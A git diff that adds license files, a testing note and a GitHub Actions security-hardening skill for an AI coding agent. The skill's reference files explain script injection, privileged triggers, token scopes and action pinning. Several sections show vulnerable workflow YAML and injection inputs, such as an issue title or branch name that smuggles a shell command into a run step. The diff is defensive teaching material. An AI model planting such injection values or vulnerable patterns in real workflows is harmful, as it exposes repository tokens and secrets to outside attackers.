diff --git a/.agents/licenses/cloudflare-security-audit-MIT.txt b/.agents/licenses/cloudflare-security-audit-MIT.txt new file mode 100644 index 0000000..6dbc9ec --- /dev/null +++ b/.agents/licenses/cloudflare-security-audit-MIT.txt @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025-2026 Cloudflare, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.agents/licenses/github-awesome-copilot-MIT.txt b/.agents/licenses/github-awesome-copilot-MIT.txt new file mode 100644 index 0000000..89bc5e9 --- /dev/null +++ b/.agents/licenses/github-awesome-copilot-MIT.txt @@ -0,0 +1,21 @@ +MIT License + +Copyright GitHub, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/.agents/licenses/microsoft-playwright-cli-Apache-2.0.txt b/.agents/licenses/microsoft-playwright-cli-Apache-2.0.txt new file mode 100644 index 0000000..b5ed4ec --- /dev/null +++ b/.agents/licenses/microsoft-playwright-cli-Apache-2.0.txt @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright (c) Microsoft Corporation. + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.agents/licenses/wordpress-agent-skills-GPL-2.0.txt b/.agents/licenses/wordpress-agent-skills-GPL-2.0.txt new file mode 100644 index 0000000..d3fc07b --- /dev/null +++ b/.agents/licenses/wordpress-agent-skills-GPL-2.0.txt @@ -0,0 +1,16 @@ +Agent Skills for WordPress +Copyright (C) 2026 WordPress Contributors + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License along +with this program; if not, write to the Free Software Foundation, Inc., +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. diff --git a/.agents/references/testing.md b/.agents/references/testing.md new file mode 100644 index 0000000..98f831e --- /dev/null +++ b/.agents/references/testing.md @@ -0,0 +1,13 @@ +# eXeLearning testing + +- PHPUnit's `@covers` **discards every line executed outside the classes it + names**, so code can report 0% while a passing test exercises it on every run. + When a test drives a collaborator on purpose, name it too — the annotation + accepts several. When the subject is not a class at all (a view under + `admin/views/`, for one), leave the annotation off and say why in the + docblock, as `tests/unit/EditorBootstrapPageTest.php` does. Read the per-file + numbers, not only the total: a line that stays uncovered while a green test + runs through it is almost always attribution, not a missing test — and + chasing it with a new test writes a test for code that was already covered. + +Use the committed Composer scripts and `.phpcs.xml.dist`. The architecture checker is `make architecture-check`. diff --git a/.agents/skills/blueprint/SKILL.md b/.agents/skills/blueprint/SKILL.md index fb5bb96..ad3ad14 100644 --- a/.agents/skills/blueprint/SKILL.md +++ b/.agents/skills/blueprint/SKILL.md @@ -1,9 +1,13 @@ --- -name: blueprint +compatibility: WordPress 7.0+, PHP 7.4.0+. Optionally Playground CLI or a browser description: Use when the deliverable is WordPress Playground Blueprint JSON or a Blueprint bundle, including creating, editing, reviewing, validating schema keys, choosing steps/resources, and debugging Blueprint files. For only running or sharing a Playground environment, use wp-playground. -compatibility: "WordPress 7.0+, PHP 7.4.0+. Optionally Playground CLI or a browser" +metadata: + github-path: skills/blueprint + github-ref: refs/heads/trunk + github-repo: https://github.com/WordPress/agent-skills + github-tree-sha: 0e64f8bc9f5b3ab7b4e71c9eca3f8ed74b50fe7c +name: blueprint --- - # WordPress Playground Blueprints ## Overview diff --git a/.agents/skills/github-actions-hardening/SKILL.md b/.agents/skills/github-actions-hardening/SKILL.md new file mode 100644 index 0000000..16704d1 --- /dev/null +++ b/.agents/skills/github-actions-hardening/SKILL.md @@ -0,0 +1,164 @@ +--- +description: Security hardening reviewer for GitHub Actions workflow files (.github/workflows/*.yml). Reasons about the Actions threat model that pattern matchers and general code linters miss — untrusted-input script injection, privileged triggers running fork code, mutable action references, and over-scoped tokens. Use this skill when asked to review, audit, harden, or secure a GitHub Actions workflow, when writing a new workflow, or for any request like "is this workflow safe?", "review my CI for security issues", "why is pull_request_target dangerous here?", "pin my actions", or "lock down GITHUB_TOKEN permissions". Covers script injection via ${{ }} interpolation, pull_request_target / workflow_run privilege escalation, SHA-pinning of third-party actions, least-privilege permissions, GITHUB_ENV/GITHUB_OUTPUT injection, secret exposure, OIDC over long-lived credentials, and self-hosted runner exposure on public repositories. +metadata: + github-path: skills/github-actions-hardening + github-ref: refs/heads/main + github-repo: https://github.com/github/awesome-copilot + github-tree-sha: 25d75a622f5f8c034be5b25bf6585850d6f7fcd7 +name: github-actions-hardening +--- +# GitHub Actions Hardening + +A focused security reviewer for GitHub Actions workflows. It reasons about the *Actions-specific* +threat model — where trust boundaries live in trigger types, token scopes, and string +interpolation — rather than the application-code vulnerabilities a general security scanner looks +for. Most workflow risks are invisible to language linters because the dangerous code is the YAML +itself and the way GitHub expands `${{ }}` expressions into a shell before your script runs. + +## When to Use This Skill + +Use this skill when the request involves: + +* Reviewing, auditing, or hardening any file under `.github/workflows/` +* Authoring a new workflow and wanting it secure by default +* A workflow that uses `pull_request_target`, `workflow_run`, or `issue_comment` triggers +* Questions about `GITHUB_TOKEN` permissions or the `permissions:` key +* Pinning actions to commit SHAs vs tags vs branches +* Handling untrusted input (issue titles, PR bodies, branch names, commit messages) in `run:` steps +* OIDC / cloud authentication from Actions, or secret handling in CI +* Self-hosted runners on public repositories +* Any request like "is this workflow safe?", "secure my CI", or "review this GitHub Action" + +## The Core Insight + +In a workflow, **`${{ }}` is expanded by the runner into the script *before* the shell +executes it.** So a step like: + +```yaml +- run: echo "Title: ${{ github.event.issue.title }}" +``` + +is not passing a variable — it is *pasting attacker-controlled text directly into your shell +command*. An issue titled `"; #` is concatenated into the script and executed. +This single mechanism is the most common real-world Actions vulnerability, and models routinely +generate it. Treat every +`${{ }}` that contains data an outside contributor can influence as a code-injection sink. + +## Execution Workflow + +Follow these steps **in order** for every workflow reviewed. + +### Step 1 — Map the Triggers and Trust Level + +Read every `on:` trigger and classify the workflow's privilege: + +* `push`, `pull_request` (from same repo) → runs with the contributor's own trust +* `pull_request` from a **fork** → runs with a **read-only** token, **no secrets** (safe by design) +* `pull_request_target`, `workflow_run`, `issue_comment`, `issues` → run in the context of the + **base repository** with a **read/write token and full access to secrets**, but can be + **triggered by outside contributors**. These are the dangerous triggers. + +Read `references/triggers-and-privilege.md` for the full trust matrix. + +### Step 2 — Hunt for Script Injection + +For every `run:` block, every `script:` in `actions/github-script`, and every input to a custom +action, list the `${{ }}` expressions and check whether any resolve to attacker-controllable data. +High-risk contexts include: + +* `github.event.issue.title`, `github.event.issue.body` +* `github.event.pull_request.title`, `github.event.pull_request.body`, `.head.ref`, `.head.label` +* `github.event.comment.body`, `github.event.review.body` +* `github.event.pages.*.page_name`, `github.event.commits.*.message`, `github.event.head_commit.*` +* `github.head_ref` and any `github.event.*` field a fork author can set + +Read `references/injection.md` for the complete sink list and the safe-pattern fixes. + +### Step 3 — Check Privileged Triggers Don't Execute Untrusted Code + +If a `pull_request_target` or `workflow_run` workflow checks out PR/fork code +(`ref: ${{ github.event.pull_request.head.sha }}`) **and then runs it** (build, test, install +scripts, `npm install` with lifecycle scripts, etc.), that is remote code execution against a +privileged token. Flag it as CRITICAL. The safe pattern is to split into two workflows: an +unprivileged `pull_request` workflow that runs the untrusted code, and a privileged +`workflow_run` workflow that only consumes its results. + +### Step 4 — Audit `permissions:` + +* If there is **no** `permissions:` block, the workflow inherits the repository default, which may + be read/write to everything. Flag it. +* Recommend a top-level `permissions: {}` (deny-all) or `contents: read`, then grant the minimum + per job (e.g. `pull-requests: write` only on the job that comments). +* Flag any `permissions: write-all` or broad `write` scopes that the steps don't actually need. + +Read `references/permissions-and-tokens.md` for the per-scope guidance and OIDC setup. + +### Step 5 — Audit Action References (Supply Chain) + +For every `uses:`: + +* **Third-party actions** (not `actions/*` or `github/*`) MUST be pinned to a full 40-character + commit SHA, not a tag or branch. Tags and branches are mutable; a compromised upstream action + can rewrite `v1` to malicious code that runs with your token and secrets. +* First-party `actions/*` are lower risk but SHA-pinning is still the hardened recommendation. +* Flag `@main`, `@master`, or any branch reference as HIGH — that is "latest" and can change under + you at any time. +* Note the human-readable version in a trailing comment: `uses: foo/bar@ # v2.1.0`. + +Read `references/supply-chain.md` for pinning, Dependabot for actions, and artifact/cache risks. + +### Step 6 — Check Secret and Output Handling + +* No secrets echoed, printed, or written to logs; no `set -x` / `bash -x` in steps that touch + secrets. +* Secrets must not be passed to steps that run untrusted code or to untrusted third-party actions. +* Untrusted multiline data written to `$GITHUB_ENV` or `$GITHUB_OUTPUT` can inject environment + variables or step outputs — use the random-delimiter heredoc form and never write raw user input. +* `actions/checkout` leaves a token on disk by default; set `persist-credentials: false` when the + job later runs untrusted code. + +### Step 7 — Produce the Report + +Output findings using the format in `references/report-format.md`: a severity summary table first, +then grouped findings with file, the exact offending YAML, the risk in plain English, and a +concrete before/after fix. Never auto-apply changes — present them for review. + +## Severity Guide + +| Severity | Meaning | Example | +| --- | --- | --- | +| 🔴 CRITICAL | Token/secret theft or RCE reachable by an outside contributor | `pull_request_target` checking out and running fork code; `${{ github.event.* }}` in a `run:` on a privileged trigger | +| 🟠 HIGH | Exploitable supply-chain or scope problem | Third-party action on a mutable tag/branch; `write-all` permissions; injection sink on `issue_comment` | +| 🟡 MEDIUM | Risk under conditions or chaining | Missing `permissions:` block; secret reachable by a non-fork PR author | +| 🔵 LOW | Hardening gap, low direct risk | First-party action not SHA-pinned; `persist-credentials` left default on a non-privileged job | +| ⚪ INFO | Observation, not a vulnerability | Version comment missing next to a pinned SHA | + +## Output Rules + +* **Always** show a findings summary table (counts by severity) first. +* **Group by issue type**, not by file. +* **Be exact** — quote the offending line and give the line location. +* **Always** pair every CRITICAL/HIGH with a concrete corrected YAML snippet. +* **Never** claim a fork `pull_request` is dangerous just because it runs untrusted code — it has + no secrets and a read-only token. Reserve CRITICAL for the privileged triggers. +* If the workflow is already hardened, say so and list what was checked. + +## Reference Files + +Load these as needed: + +* `references/triggers-and-privilege.md` — Trust matrix for every trigger, why `pull_request_target` + and `workflow_run` are privileged, and the two-workflow safe pattern. + + Search patterns: `pull_request_target`, `workflow_run`, `issue_comment`, `fork`, `secrets`, `read-only token`, `trust boundary` +* `references/injection.md` — Full list of attacker-controllable `${{ }}` contexts and the + `env:`-variable safe pattern for each sink (`run`, `github-script`, action inputs). + + Search patterns: `script injection`, `github.event`, `head_ref`, `issue title`, `env`, `intermediate variable`, `actions/github-script` +* `references/permissions-and-tokens.md` — `GITHUB_TOKEN` scopes, least-privilege `permissions:` + recipes per job type, and OIDC for cloud auth instead of long-lived secrets. + + Search patterns: `permissions`, `GITHUB_TOKEN`, `write-all`, `contents: read`, `id-token`, `OIDC`, `least privilege` +* `references/supply-chain.md` — SHA-pinning third-party actions, Dependabot for `github-actions`, + artifact and cache poisoning across `workflow_run`, and self-hosted runner exposure. + + Search patterns: `SHA pin`, `uses`, `mutable tag`, `Dependabot`, `download-artifact`, `cache`, `self-hosted runner` +* `references/report-format.md` — Output template: summary table, finding cards, and before/after + remediation blocks. + + Search patterns: `report`, `format`, `finding`, `summary`, `remediation`, `before`, `after` diff --git a/.agents/skills/github-actions-hardening/references/injection.md b/.agents/skills/github-actions-hardening/references/injection.md new file mode 100644 index 0000000..113ff1a --- /dev/null +++ b/.agents/skills/github-actions-hardening/references/injection.md @@ -0,0 +1,86 @@ +# Script Injection + +`${{ }}` is substituted into the script **as text, before the shell runs**. Any expression +that resolves to data an outside contributor controls is therefore a command-injection sink. + +## Attacker-Controllable Contexts + +These can be set by anyone who can open an issue, PR, or comment: + +| Context | Set by | +| --- | --- | +| `github.event.issue.title` / `.body` | Issue author | +| `github.event.pull_request.title` / `.body` | PR author | +| `github.event.pull_request.head.ref` / `.head.label` | PR author (branch name) | +| `github.head_ref` | PR author (branch name) | +| `github.event.comment.body` | Commenter | +| `github.event.review.body` / `.review_comment.body` | Reviewer | +| `github.event.commits.*.message` / `head_commit.message` | Commit author | +| `github.event.commits.*.author.email` / `.name` | Commit author | +| `github.event.pages.*.page_name` | Wiki editor | + +A branch named `$()` or an issue titled `"; #` becomes shell +when interpolated into a `run:` step. + +## The Vulnerable Pattern + +```yaml +# VULNERABLE +- run: | + echo "Reviewing PR: ${{ github.event.pull_request.title }}" + git checkout ${{ github.head_ref }} +``` + +## The Safe Pattern — Pass Through `env:` + +Bind the untrusted value to an environment variable, then reference the *shell* variable (quoted). +The shell variable is data, never re-parsed as workflow syntax: + +```yaml +# SAFE +- env: + PR_TITLE: ${{ github.event.pull_request.title }} + HEAD_REF: ${{ github.head_ref }} + run: | + echo "Reviewing PR: $PR_TITLE" + git checkout "$HEAD_REF" +``` + +`${{ }}` now appears only on the `env:` side, where it is assigned as a value rather than spliced +into a command. Always quote the shell variable (`"$PR_TITLE"`) to prevent word-splitting and +globbing. + +## `actions/github-script` + +The same rule applies. Do not interpolate `${{ }}` into the `script:` body — pass it through the +environment and read `process.env`: + +```yaml +# VULNERABLE +- uses: actions/github-script@ + with: + script: console.log("${{ github.event.issue.title }}") + +# SAFE +- uses: actions/github-script@ + env: + TITLE: ${{ github.event.issue.title }} + with: + script: console.log(process.env.TITLE) +``` + +## Custom Action Inputs + +Passing untrusted `${{ }}` into a composite or JS action's `with:` inputs can be safe or not +depending on whether the action itself interpolates the input into a shell. When in doubt, pass via +`env:` and have the action read the environment, or sanitize/validate first (e.g. a branch name +should match `^[A-Za-z0-9._/-]+$`). + +## Quick Audit Checklist + +1. Grep every `run:` and `script:` for `${{`. +2. For each, resolve what the expression points to. +3. If it can be set by a non-collaborator → rewrite via `env:` with a quoted shell variable. +4. `github.actor`, `github.repository`, `github.sha`, `github.ref` (for branch protection contexts) + and similar server-controlled values are not attacker-set, but a defense-in-depth `env:` rewrite + costs nothing. diff --git a/.agents/skills/github-actions-hardening/references/permissions-and-tokens.md b/.agents/skills/github-actions-hardening/references/permissions-and-tokens.md new file mode 100644 index 0000000..784ea92 --- /dev/null +++ b/.agents/skills/github-actions-hardening/references/permissions-and-tokens.md @@ -0,0 +1,76 @@ +# Permissions and Tokens + +Every workflow run gets an automatic `GITHUB_TOKEN`. Its scope is the blast radius if a step is +compromised, so scope it to the minimum. + +## The Default Is Too Broad + +If a workflow has no `permissions:` block, it inherits the repository/organization default. On +older or permissive repos that default is **read/write to most scopes**. A single injected command +or malicious dependency then runs with the ability to push code, publish releases, or approve PRs. + +## Least-Privilege Recipe + +Set a restrictive default at the top level, then elevate per job only where needed. + +```yaml +# Deny by default +permissions: {} + +jobs: + build: + permissions: + contents: read # checkout only + runs-on: ubuntu-latest + steps: [...] + + comment: + permissions: + contents: read + pull-requests: write # this job posts a comment; nothing else + runs-on: ubuntu-latest + steps: [...] +``` + +Common scopes: `contents`, `pull-requests`, `issues`, `actions`, `packages`, `id-token`, +`deployments`, `checks`, `statuses`. Each is `read`, `write`, or `none`. + +## Findings to Flag + +* No `permissions:` block anywhere → MEDIUM (inherits possibly-broad default). +* `permissions: write-all` → HIGH. +* A `write` scope the job's steps never use → HIGH (drop it). +* Top-level `write` that should live on one job → MEDIUM (move it down). + +## OIDC Instead of Long-Lived Cloud Secrets + +Storing static cloud keys (`AWS_ACCESS_KEY_ID`, etc.) as repo secrets means a leak is permanent +until manually rotated. Prefer OpenID Connect: the workflow requests a short-lived token the cloud +provider trusts, scoped to that repo/branch, expiring in minutes. + +```yaml +permissions: + id-token: write # required to request the OIDC token + contents: read +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - uses: aws-actions/configure-aws-credentials@ + with: + role-to-assume: arn:aws:iam::123456789012:role/my-ci-role + aws-region: us-east-1 + # no AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY secrets needed +``` + +The same pattern exists for Azure (`azure/login`), GCP (`google-github-actions/auth`), HashiCorp +Vault, and others. On the cloud side, scope the trust policy to the specific repo and ideally a +specific branch/environment so a fork or another repo cannot assume the role. + +## Secret Hygiene + +* Reference secrets only in the jobs that need them. +* Never `echo` a secret or enable shell tracing (`set -x`) in a step that handles one. +* Don't pass secrets into third-party actions you haven't pinned and reviewed. +* Remember fork `pull_request` runs get no secrets — don't try to "fix" that by switching to + `pull_request_target` (see `triggers-and-privilege.md`). diff --git a/.agents/skills/github-actions-hardening/references/report-format.md b/.agents/skills/github-actions-hardening/references/report-format.md new file mode 100644 index 0000000..20f9f06 --- /dev/null +++ b/.agents/skills/github-actions-hardening/references/report-format.md @@ -0,0 +1,65 @@ +# Report Format + +Use this structure for every workflow hardening review. + +## 1. Summary Table (always first) + +``` +GitHub Actions Hardening — + +| Severity | Count | +| ---------- | ----- | +| 🔴 CRITICAL | 1 | +| 🟠 HIGH | 2 | +| 🟡 MEDIUM | 1 | +| 🔵 LOW | 1 | +| ⚪ INFO | 0 | +``` + +If nothing was found: `No issues found. Checked: triggers, injection sinks, permissions, action +pinning, secret handling.` + +## 2. Findings (grouped by issue type, not by file) + +For each finding use a card: + +``` +### 🔴 CRITICAL — Script injection via PR title on a privileged trigger + +File: .github/workflows/triage.yml (line 14) +Trigger: pull_request_target + +Offending code: + - run: echo "New PR: ${{ github.event.pull_request.title }}" + +Risk: pull_request_target runs with a read/write token and repository secrets, and any +contributor can open a PR with a title like "; # which is executed as shell. +This allows secret exfiltration and pushes with the workflow token. + +Fix: + - env: + PR_TITLE: ${{ github.event.pull_request.title }} + run: echo "New PR: $PR_TITLE" + +Confidence: High +``` + +## 3. Remediation Blocks + +Every CRITICAL and HIGH finding includes a concrete before/after. Preserve the author's +indentation, step names, and surrounding structure — change only what fixes the issue, and add a +one-line comment explaining the change where it isn't obvious. + +## 4. Closing Note + +End with the explicit line: + +> Review each change before committing. Nothing has been modified. + +## Style Rules + +* Quote the exact offending line and give its location. +* Explain risk in plain English — what an attacker actually does, not just the rule name. +* Per-finding confidence: High / Medium / Low. +* Don't inflate severity: a fork `pull_request` (read-only token, no secrets) running untrusted + code is not CRITICAL on its own. diff --git a/.agents/skills/github-actions-hardening/references/supply-chain.md b/.agents/skills/github-actions-hardening/references/supply-chain.md new file mode 100644 index 0000000..6cb0547 --- /dev/null +++ b/.agents/skills/github-actions-hardening/references/supply-chain.md @@ -0,0 +1,71 @@ +# Supply Chain + +A workflow runs other people's code every time it `uses:` an action. Those actions execute with +your token and (on privileged triggers) your secrets, so their integrity is your integrity. + +## Pin Third-Party Actions to a Commit SHA + +Tags (`@v4`) and branches (`@main`) are **mutable** — the upstream owner (or anyone who compromises +them) can repoint them to new code without you changing a line. A full 40-character commit SHA is +immutable. + +```yaml +# Mutable — the tag can be moved to malicious code +- uses: some-org/some-action@v3 + +# Pinned — this exact tree, forever +- uses: some-org/some-action@3f1e0a9c8b7d6e5f4a3b2c1d0e9f8a7b6c5d4e3f # v3.2.1 +``` + +Rules: + +* Third-party actions (anything not `actions/*` or `github/*`) → **MUST** be SHA-pinned. Flag tags + and branches as HIGH. +* `@main` / `@master` → HIGH regardless of publisher; that is unversioned "latest". +* First-party `actions/*` → SHA-pinning is the hardened recommendation (LOW if only tag-pinned). +* Keep a trailing `# vX.Y.Z` comment so humans and Dependabot can read the intended version. + +This is not theoretical: real incidents have seen popular actions' tags repointed to code that +exfiltrated secrets from every workflow that referenced the mutable tag. + +## Let Dependabot Update the Pins + +SHA pins go stale. Enable Dependabot for the `github-actions` ecosystem so updates arrive as +reviewable PRs (it understands the `# vX.Y.Z` comment and bumps the SHA): + +```yaml +# .github/dependabot.yml +version: 2 +updates: + - package-ecosystem: github-actions + directory: / + schedule: + interval: weekly +``` + +## Artifact and Cache Poisoning + +* An artifact uploaded by an untrusted `pull_request` build is **untrusted data**. A privileged + `workflow_run` may download it, but must treat it as data only — never execute it, and validate + paths when extracting (a crafted artifact can contain `../` path-traversal entries). +* Caches are keyed and can be populated by less-privileged runs; do not trust cached build outputs + to be untampered in a privileged context. + +## Self-Hosted Runners on Public Repos + +Default (GitHub-hosted) runners are ephemeral — a fresh VM per job, destroyed after. **Self-hosted +runners persist**, so untrusted fork PR code running on one can: + +* Leave behind tools/backdoors for the next job, +* Read other repositories' checkouts or credentials on the same machine, +* Pivot into your network. + +Never use self-hosted runners for workflows that public forks can trigger. If you must, use +ephemeral, isolated, single-use runners and never expose secrets to fork-triggered jobs. + +## `checkout` Credential Persistence + +`actions/checkout` writes the token into `.git/config` by default so later `git` steps can push. +If the job subsequently runs untrusted code, that code can read the token. Set +`persist-credentials: false` when you don't need to push, especially before running build/test of +untrusted code. diff --git a/.agents/skills/github-actions-hardening/references/triggers-and-privilege.md b/.agents/skills/github-actions-hardening/references/triggers-and-privilege.md new file mode 100644 index 0000000..3081d91 --- /dev/null +++ b/.agents/skills/github-actions-hardening/references/triggers-and-privilege.md @@ -0,0 +1,89 @@ +# Triggers and Privilege + +The single most important question for workflow security is: **can an outside contributor trigger +this workflow, and if so, what token and secrets does it get?** GitHub answers this differently per +trigger. + +## Trust Matrix + +| Trigger | Who can fire it | `GITHUB_TOKEN` | Secrets available | Risk | +| --- | --- | --- | --- | --- | +| `push` | Repo collaborators | read/write | yes | Low — trusted authors | +| `pull_request` (same-repo branch) | Collaborators | read/write | yes | Low | +| `pull_request` (from a fork) | **Anyone** | 